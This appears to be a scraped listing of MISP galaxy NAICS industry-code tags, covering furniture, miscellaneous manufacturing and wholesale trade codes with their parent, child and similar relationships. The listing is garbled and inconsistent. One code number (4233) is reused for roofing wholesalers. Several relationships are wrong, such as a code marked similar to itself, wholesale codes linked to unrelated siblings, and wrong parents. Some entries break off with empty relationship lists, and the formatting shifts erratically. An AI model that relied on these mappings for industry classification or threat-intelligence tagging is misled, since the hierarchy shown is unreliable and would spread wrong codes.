- child-of: misp-galaxy:naics="3372" with estimative-language:likelihood-probability="likely"

### 337215

Showcase, Partition, Shelving, and Locker Manufacturing

The tag is: **misp-galaxy:naics="337215"**

View relationships graph

337215 has relationships with:
3379

Other Furniture Related Product Manufacturing

The tag is: misp-galaxy:naics="3379"

View relationships graph

3379 has relationships with:

- child-of: misp-galaxy:naics="337" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33791" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="337910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33792" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="337920" with estimative-language:likelihood-probability="likely"

33791

Mattress Manufacturing

The tag is: misp-galaxy:naics="33791"

View relationships graph

33791 has relationships with:

- child-of: misp-galaxy:naics="337" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="337910" with estimative-language:likelihood-probability="likely"

337910

Mattress Manufacturing

The tag is: misp-galaxy:naics="337910"

View relationships graph

337910 has relationships with:

- child-of: misp-galaxy:naics="337" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33791" with estimative-language:likelihood-probability="likely"

33792

Blind and Shade Manufacturing
The tag is: misp-galaxy:naics="33792"

View relationships graph

33792 has relationships with:

- child-of: misp-galaxy:naics="3379" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="337920" with estimative-language:likelihood-probability="likely"

337920

Blind and Shade Manufacturing

The tag is: misp-galaxy:naics="337920"

View relationships graph

337920 has relationships with:

- child-of: misp-galaxy:naics="3379" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33792" with estimative-language:likelihood-probability="likely"

339

Miscellaneous Manufacturing

The tag is: misp-galaxy:naics="339"

View relationships graph

339 has relationships with:

- parent-of: misp-galaxy:naics="3391" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

3391

Medical Equipment and Supplies Manufacturing

The tag is: misp-galaxy:naics="3391"

View relationships graph

3391 has relationships with:

- child-of: misp-galaxy:naics="339" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339112" with estimative-language:likelihood-probability="likely"
33911

Medical Equipment and Supplies Manufacturing

The tag is: misp-galaxy:naics="33911"

View relationships graph

33911 has relationships with:

• child-of: misp-galaxy:naics="3391" with estimative-language:likelihood-probability="likely"

339112

Surgical and Medical Instrument Manufacturing

The tag is: misp-galaxy:naics="339112"

View relationships graph

339112 has relationships with:

• child-of: misp-galaxy:naics="3391" with estimative-language:likelihood-probability="likely"

339113

Surgical Appliance and Supplies Manufacturing

The tag is: misp-galaxy:naics="339113"

View relationships graph

339113 has relationships with:

• child-of: misp-galaxy:naics="3391" with estimative-language:likelihood-probability="likely"

339114

Dental Equipment and Supplies Manufacturing

The tag is: misp-galaxy:naics="339114"

View relationships graph
339114 has relationships with:

- child-of: misp-galaxy:naics="3391" with estimative-language:likelihood-probability="likely"

### 339115

Ophthalmic Goods Manufacturing

The tag is: misp-galaxy:naics="339115"

View relationships graph

339115 has relationships with:

- child-of: misp-galaxy:naics="3391" with estimative-language:likelihood-probability="likely"

### 339116

Dental Laboratories

The tag is: misp-galaxy:naics="339116"

View relationships graph

339116 has relationships with:

- child-of: misp-galaxy:naics="3391" with estimative-language:likelihood-probability="likely"

### 3399

Other Miscellaneous Manufacturing

The tag is: misp-galaxy:naics="3399"

View relationships graph

3399 has relationships with:

- child-of: misp-galaxy:naics="339" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33992" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33993" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33994" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="339940" with estimative-language:likelihood-probability="likely"
33991
Jewelry and Silverware Manufacturing

The tag is: `misp-galaxy:naics="33991"`

View relationships graph

33991 has relationships with:

- child-of: `misp-galaxy:naics="3399"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="339910"` with estimative-language:likelihood-probability="likely"

339910
Jewelry and Silverware Manufacturing

The tag is: `misp-galaxy:naics="339910"`

View relationships graph

339910 has relationships with:

- child-of: `misp-galaxy:naics="3399"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="33991"` with estimative-language:likelihood-probability="likely"

33992
Sporting and Athletic Goods Manufacturing

The tag is: `misp-galaxy:naics="33992"`

View relationships graph

33992 has relationships with:
• child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="339920" with estimative-language:likelihood-probability="likely"

339920
Sporting and Athletic Goods Manufacturing
The tag is: misp-galaxy:naics="339920"
View relationships graph
339920 has relationships with:
• child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="33992" with estimative-language:likelihood-probability="likely"

33993
Doll, Toy, and Game Manufacturing
The tag is: misp-galaxy:naics="33993"
View relationships graph
33993 has relationships with:
• child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="339930" with estimative-language:likelihood-probability="likely"

339930
Doll, Toy, and Game Manufacturing
The tag is: misp-galaxy:naics="339930"
View relationships graph
339930 has relationships with:
• child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="33993" with estimative-language:likelihood-probability="likely"

33994
Office Supplies (except Paper) Manufacturing
The tag is: misp-galaxy:naics="33994"
View relationships graph

33994 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="339940" with estimative-language:likelihood-probability="likely"

339940
Office Supplies (except Paper) Manufacturing
The tag is: misp-galaxy:naics="339940"

View relationships graph

339940 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33994" with estimative-language:likelihood-probability="likely"

33995
Sign Manufacturing
The tag is: misp-galaxy:naics="33995"

View relationships graph

33995 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="339950" with estimative-language:likelihood-probability="likely"

339950
Sign Manufacturing
The tag is: misp-galaxy:naics="339950"

View relationships graph

339950 has relationships with:

- child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33995" with estimative-language:likelihood-probability="likely"
33999
All Other Miscellaneous Manufacturing
The tag is: misp-galaxy:naics="33999"

View relationships graph

33999 has relationships with:
• child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

339991
Gasket, Packing, and Sealing Device Manufacturing
The tag is: misp-galaxy:naics="339991"

View relationships graph

339991 has relationships with:
• child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

339992
Musical Instrument Manufacturing
The tag is: misp-galaxy:naics="339992"

View relationships graph

339992 has relationships with:
• child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

339993
Fastener, Button, Needle, and Pin Manufacturing
The tag is: misp-galaxy:naics="339993"

View relationships graph

339993 has relationships with:
• child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"
339994
Broom, Brush, and Mop Manufacturing
The tag is: misp-galaxy:naics="339994"
View relationships graph
339994 has relationships with:
  • child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

339995
Burial Casket Manufacturing
The tag is: misp-galaxy:naics="339995"
View relationships graph
339995 has relationships with:
  • child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

339999
All Other Miscellaneous Manufacturing
The tag is: misp-galaxy:naics="339999"
View relationships graph
339999 has relationships with:
  • child-of: misp-galaxy:naics="3399" with estimative-language:likelihood-probability="likely"

42
Wholesale Trade
The tag is: misp-galaxy:naics="42"
View relationships graph
42 has relationships with:
  • parent-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="425" with estimative-language:likelihood-probability="likely"
Merchant Wholesalers, Durable Goods

The tag is: misp-galaxy:naics="423"

View relationships graph

423 has relationships with:

- child-of: misp-galaxy:naics="42" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4235" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4236" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4237" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4239" with estimative-language:likelihood-probability="likely"

Motor Vehicle and Motor Vehicle Parts and Supplies Merchant Wholesalers

The tag is: misp-galaxy:naics="4231"

View relationships graph

4231 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42314" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423140" with estimative-language:likelihood-probability="likely"
42311
Automobile and Other Motor Vehicle Merchant Wholesalers
The tag is: misp-galaxy:naics="42311"
View relationships graph
42311 has relationships with:
• child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="423110" with estimative-language:likelihood-probability="likely"

423110
Automobile and Other Motor Vehicle Merchant Wholesalers
The tag is: misp-galaxy:naics="423110"
View relationships graph
423110 has relationships with:
• child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42311" with estimative-language:likelihood-probability="likely"

42312
Motor Vehicle Supplies and New Parts Merchant Wholesalers
The tag is: misp-galaxy:naics="42312"
View relationships graph
42312 has relationships with:
• child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="423120" with estimative-language:likelihood-probability="likely"

423120
Motor Vehicle Supplies and New Parts Merchant Wholesalers
The tag is: misp-galaxy:naics="423120"
View relationships graph
423120 has relationships with:
• child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42312" with estimative-language:likelihood-probability="likely"

42313

Tire and Tube Merchant Wholesalers

The tag is: misp-galaxy:naics="42313"

View relationships graph

42313 has relationships with:

• child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="423130" with estimative-language:likelihood-probability="likely"

423130

Tire and Tube Merchant Wholesalers

The tag is: misp-galaxy:naics="423130"

View relationships graph

423130 has relationships with:

• child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42313" with estimative-language:likelihood-probability="likely"

42314

Motor Vehicle Parts (Used) Merchant Wholesalers

The tag is: misp-galaxy:naics="42314"

View relationships graph

42314 has relationships with:

• child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42313" with estimative-language:likelihood-probability="likely"

423140

Motor Vehicle Parts (Used) Merchant Wholesalers

The tag is: misp-galaxy:naics="423140"
423140 has relationships with:

- child-of: misp-galaxy:naics="4231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42314" with estimative-language:likelihood-probability="likely"

4232

Furniture and Home Furnishing Merchant Wholesalers

The tag is: misp-galaxy:naics="4232"

4232 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423220" with estimative-language:likelihood-probability="likely"

42321

Furniture Merchant Wholesalers

The tag is: misp-galaxy:naics="42321"

42321 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423210" with estimative-language:likelihood-probability="likely"

423210

Furniture Merchant Wholesalers

The tag is: misp-galaxy:naics="423210"

423210 has relationships with:

- child-of: misp-galaxy:naics="4232" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42321" with estimative-language:likelihood-probability="likely"

**42322**

Home Furnishing Merchant Wholesalers

The tag is: *misp-galaxy:naics="42322"

View relationships graph

42322 has relationships with:

• child-of: misp-galaxy:naics="4232" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="423220" with estimative-language:likelihood-probability="likely"

**423220**

Home Furnishing Merchant Wholesalers

The tag is: *misp-galaxy:naics="423220"

View relationships graph

423220 has relationships with:

• child-of: misp-galaxy:naics="4232" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42322" with estimative-language:likelihood-probability="likely"

**4233**

Lumber and Other Construction Materials Merchant Wholesalers

The tag is: *misp-galaxy:naics="4233"

View relationships graph

4233 has relationships with:

• child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="42331" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="423310" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="42332" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="423320" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="42333" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="423330" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="42339" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="423390" with estimative-language:likelihood-probability="likely"

42331
Lumber, Plywood, Millwork, and Wood Panel Merchant Wholesalers
The tag is: misp-galaxy:naics="42331"

View relationships graph

42331 has relationships with:
• child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="423310" with estimative-language:likelihood-probability="likely"

423310
Lumber, Plywood, Millwork, and Wood Panel Merchant Wholesalers
The tag is: misp-galaxy:naics="423310"

View relationships graph

423310 has relationships with:
• child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42331" with estimative-language:likelihood-probability="likely"

42332
Brick, Stone, and Related Construction Material Merchant Wholesalers
The tag is: misp-galaxy:naics="42332"

View relationships graph

42332 has relationships with:
• child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="423320" with estimative-language:likelihood-probability="likely"

423320
Brick, Stone, and Related Construction Material Merchant Wholesalers
The tag is: misp-galaxy:naics="423320"

View relationships graph
423320 has relationships with:

- child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42332" with estimative-language:likelihood-probability="likely"

**4233**

Roofing, Siding, and Insulation Material Merchant Wholesalers

The tag is: *misp-galaxy:naics="4233"*

View relationships graph

4233 has relationships with:

- child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423330" with estimative-language:likelihood-probability="likely"

**423330**

Roofing, Siding, and Insulation Material Merchant Wholesalers

The tag is: *misp-galaxy:naics="423330"*

View relationships graph

423330 has relationships with:

- child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42333" with estimative-language:likelihood-probability="likely"

**42339**

Other Construction Material Merchant Wholesalers

The tag is: *misp-galaxy:naics="42339"*

View relationships graph

42339 has relationships with:

- child-of: misp-galaxy:naics="4233" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423390" with estimative-language:likelihood-probability="likely"

**423390**

Other Construction Material Merchant Wholesalers
The tag is: *misp-galaxy:naics="423390"*

**View relationships graph**

423390 has relationships with:

- child-of: *misp-galaxy:naics="4233"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="42339"* with estimative-language:likelihood-probability="likely"

**4234**

Professional and Commercial Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="4234"*

**View relationships graph**

4234 has relationships with:

- child-of: *misp-galaxy:naics="423"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="42341"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="423410"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="42342"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="423420"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="42343"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="423430"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="42344"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="423440"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="42345"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="423450"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="42346"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="423460"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="42349"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="423490"* with estimative-language:likelihood-probability="likely"

**42341**

Photographic Equipment and Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42341"*

**View relationships graph**

42341 has relationships with:
• child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="423410" with estimative-language:likelihood-probability="likely"

423410
Photographic Equipment and Supplies Merchant Wholesalers

The tag is: misp-galaxy:naics="423410"

View relationships graph

423410 has relationships with:
• child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42341" with estimative-language:likelihood-probability="likely"

42342
Office Equipment Merchant Wholesalers

The tag is: misp-galaxy:naics="42342"

View relationships graph

42342 has relationships with:
• child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="423420" with estimative-language:likelihood-probability="likely"

423420
Office Equipment Merchant Wholesalers

The tag is: misp-galaxy:naics="423420"

View relationships graph

423420 has relationships with:
• child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42342" with estimative-language:likelihood-probability="likely"

42343
Computer and Computer Peripheral Equipment and Software Merchant Wholesalers

The tag is: misp-galaxy:naics="42343"
42343 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423430" with estimative-language:likelihood-probability="likely"

**423430**

Computer and Computer Peripheral Equipment and Software Merchant Wholesalers

The tag is: misp-galaxy:naics="423430"

423430 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42343" with estimative-language:likelihood-probability="likely"

**42344**

Other Commercial Equipment Merchant Wholesalers

The tag is: misp-galaxy:naics="42344"

42344 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423440" with estimative-language:likelihood-probability="likely"

**423440**

Other Commercial Equipment Merchant Wholesalers

The tag is: misp-galaxy:naics="423440"

423440 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42344" with estimative-language:likelihood-probability="likely"
42345
Medical, Dental, and Hospital Equipment and Supplies Merchant Wholesalers
The tag is: misp-galaxy:naics="42345"
View relationships graph
42345 has relationships with:
- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423450" with estimative-language:likelihood-probability="likely"

423450
Medical, Dental, and Hospital Equipment and Supplies Merchant Wholesalers
The tag is: misp-galaxy:naics="423450"
View relationships graph
423450 has relationships with:
- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42345" with estimative-language:likelihood-probability="likely"

42346
Ophthalmic Goods Merchant Wholesalers
The tag is: misp-galaxy:naics="42346"
View relationships graph
42346 has relationships with:
- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423460" with estimative-language:likelihood-probability="likely"

423460
Ophthalmic Goods Merchant Wholesalers
The tag is: misp-galaxy:naics="423460"
View relationships graph
423460 has relationships with:
42349
Other Professional Equipment and Supplies Merchant Wholesalers
The tag is: misp-galaxy:naics="42349"
View relationships graph

42349 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42346" with estimative-language:likelihood-probability="likely"

423490
Other Professional Equipment and Supplies Merchant Wholesalers
The tag is: misp-galaxy:naics="423490"
View relationships graph

423490 has relationships with:

- child-of: misp-galaxy:naics="4234" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42349" with estimative-language:likelihood-probability="likely"

4235
Metal and Mineral (except Petroleum) Merchant Wholesalers
The tag is: misp-galaxy:naics="4235"
View relationships graph

4235 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423510" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42352" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423520" with estimative-language:likelihood-probability="likely"
42351
Metal Service Centers and Other Metal Merchant Wholesalers
The tag is: misp-galaxy:naics="42351"
View relationships graph
42351 has relationships with:
- child-of: misp-galaxy:naics="4235" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423510" with estimative-language:likelihood-probability="likely"

423510
Metal Service Centers and Other Metal Merchant Wholesalers
The tag is: misp-galaxy:naics="423510"
View relationships graph
423510 has relationships with:
- child-of: misp-galaxy:naics="4235" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42351" with estimative-language:likelihood-probability="likely"

42352
Coal and Other Mineral and Ore Merchant Wholesalers
The tag is: misp-galaxy:naics="42352"
View relationships graph
42352 has relationships with:
- child-of: misp-galaxy:naics="4235" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423520" with estimative-language:likelihood-probability="likely"

423520
Coal and Other Mineral and Ore Merchant Wholesalers
The tag is: misp-galaxy:naics="423520"
View relationships graph
423520 has relationships with:
4236

Household Appliances and Electrical and Electronic Goods Merchant Wholesalers

The tag is: misp-galaxy:naics="4236"

View relationships graph

4236 has relationships with:

• child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42352" with estimative-language:likelihood-probability="likely"

42361

Electrical Apparatus and Equipment, Wiring Supplies, and Related Equipment Merchant Wholesalers

The tag is: misp-galaxy:naics="42361"

View relationships graph

42361 has relationships with:

• child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="423610" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="42362" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="42369" with estimative-language:likelihood-probability="likely"

423610

Electrical Apparatus and Equipment, Wiring Supplies, and Related Equipment Merchant Wholesalers

The tag is: misp-galaxy:naics="423610"

View relationships graph

423610 has relationships with:

• child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="423610" with estimative-language:likelihood-probability="likely"
42362
Household Appliances, Electric Housewares, and Consumer Electronics Merchant Wholesalers
The tag is: `misp-galaxy:naics="42362"`
View relationships graph

42362 has relationships with:
- child-of: `misp-galaxy:naics="4236"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="423620"` with estimative-language:likelihood-probability="likely"

423620
Household Appliances, Electric Housewares, and Consumer Electronics Merchant Wholesalers
The tag is: `misp-galaxy:naics="423620"`
View relationships graph

423620 has relationships with:
- child-of: `misp-galaxy:naics="4236"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="42362"` with estimative-language:likelihood-probability="likely"

42369
Other Electronic Parts and Equipment Merchant Wholesalers
The tag is: `misp-galaxy:naics="42369"`
View relationships graph

42369 has relationships with:
- child-of: `misp-galaxy:naics="4236"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="423620"` with estimative-language:likelihood-probability="likely"

423690
Other Electronic Parts and Equipment Merchant Wholesalers
The tag is: `misp-galaxy:naics="423690"`
View relationships graph

423690 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42369" with estimative-language:likelihood-probability="likely"

4237

Hardware, and Plumbing and Heating Equipment and Supplies Merchant Wholesalers

The tag is: misp-galaxy:naics="4237"

View relationships graph

4237 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42371" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423710" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42372" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423720" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42373" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423730" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42374" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="423740" with estimative-language:likelihood-probability="likely"

42371

Hardware Merchant Wholesalers

The tag is: misp-galaxy:naics="42371"

View relationships graph

42371 has relationships with:

- child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="423710" with estimative-language:likelihood-probability="likely"

423710

Hardware Merchant Wholesalers

The tag is: misp-galaxy:naics="423710"
423710 has relationships with:

- child-of: misp-galaxy:naics="4237" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42371" with estimative-language:likelihood-probability="likely"

42372

Plumbing and Heating Equipment and Supplies (Hydronics) Merchant Wholesalers

The tag is: misp-galaxy:naics="42372"

423720

Plumbing and Heating Equipment and Supplies (Hydronics) Merchant Wholesalers

The tag is: misp-galaxy:naics="423720"

42373

Warm Air Heating and Air-Conditioning Equipment and Supplies Merchant Wholesalers

The tag is: misp-galaxy:naics="42373"
423730
Warm Air Heating and Air-Conditioning Equipment and Supplies Merchant Wholesalers
The tag is: misp-galaxy:naics="423730"
View relationships graph
423730 has relationships with:
  • child-of: misp-galaxy:naics="4237" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="42373" with estimative-language:likelihood-probability="likely"

42374
Refrigeration Equipment and Supplies Merchant Wholesalers
The tag is: misp-galaxy:naics="42374"
View relationships graph
42374 has relationships with:
  • child-of: misp-galaxy:naics="4237" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="423740" with estimative-language:likelihood-probability="likely"

423740
Refrigeration Equipment and Supplies Merchant Wholesalers
The tag is: misp-galaxy:naics="423740"
View relationships graph
423740 has relationships with:
  • child-of: misp-galaxy:naics="4237" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="42374" with estimative-language:likelihood-probability="likely"

4238
Machinery, Equipment, and Supplies Merchant Wholesalers
The tag is: misp-galaxy:naics="4238"
View relationships graph
4238 has relationships with:
42381
Construction and Mining (except Oil Well) Machinery and Equipment Merchant Wholesalers
The tag is: *misp-galaxy:naics="42381"

View relationships graph

42381 has relationships with:
  • child-of: *misp-galaxy:naics="423"* with estimative-language:likelihood-probability="likely"
  • similar: *misp-galaxy:naics="423810"* with estimative-language:likelihood-probability="likely"

423810
Construction and Mining (except Oil Well) Machinery and Equipment Merchant Wholesalers
The tag is: *misp-galaxy:naics="423810"

View relationships graph

423810 has relationships with:
  • child-of: *misp-galaxy:naics="423"* with estimative-language:likelihood-probability="likely"
  • similar: *misp-galaxy:naics="42381"* with estimative-language:likelihood-probability="likely"

42382
Farm and Garden Machinery and Equipment Merchant Wholesalers
The tag is: `misp-galaxy:naics="42382"`

View relationships graph

42382 has relationships with:

- child-of: `misp-galaxy:naics="4238"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="423820"` with estimative-language:likelihood-probability="likely"

**423820**

Farm and Garden Machinery and Equipment Merchant Wholesalers

The tag is: `misp-galaxy:naics="423820"`

View relationships graph

423820 has relationships with:

- child-of: `misp-galaxy:naics="4238"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="42382"` with estimative-language:likelihood-probability="likely"

**42383**

Industrial Machinery and Equipment Merchant Wholesalers

The tag is: `misp-galaxy:naics="42383"`

View relationships graph

42383 has relationships with:

- child-of: `misp-galaxy:naics="4238"` with estimative-language:likelihood-probability="likely"
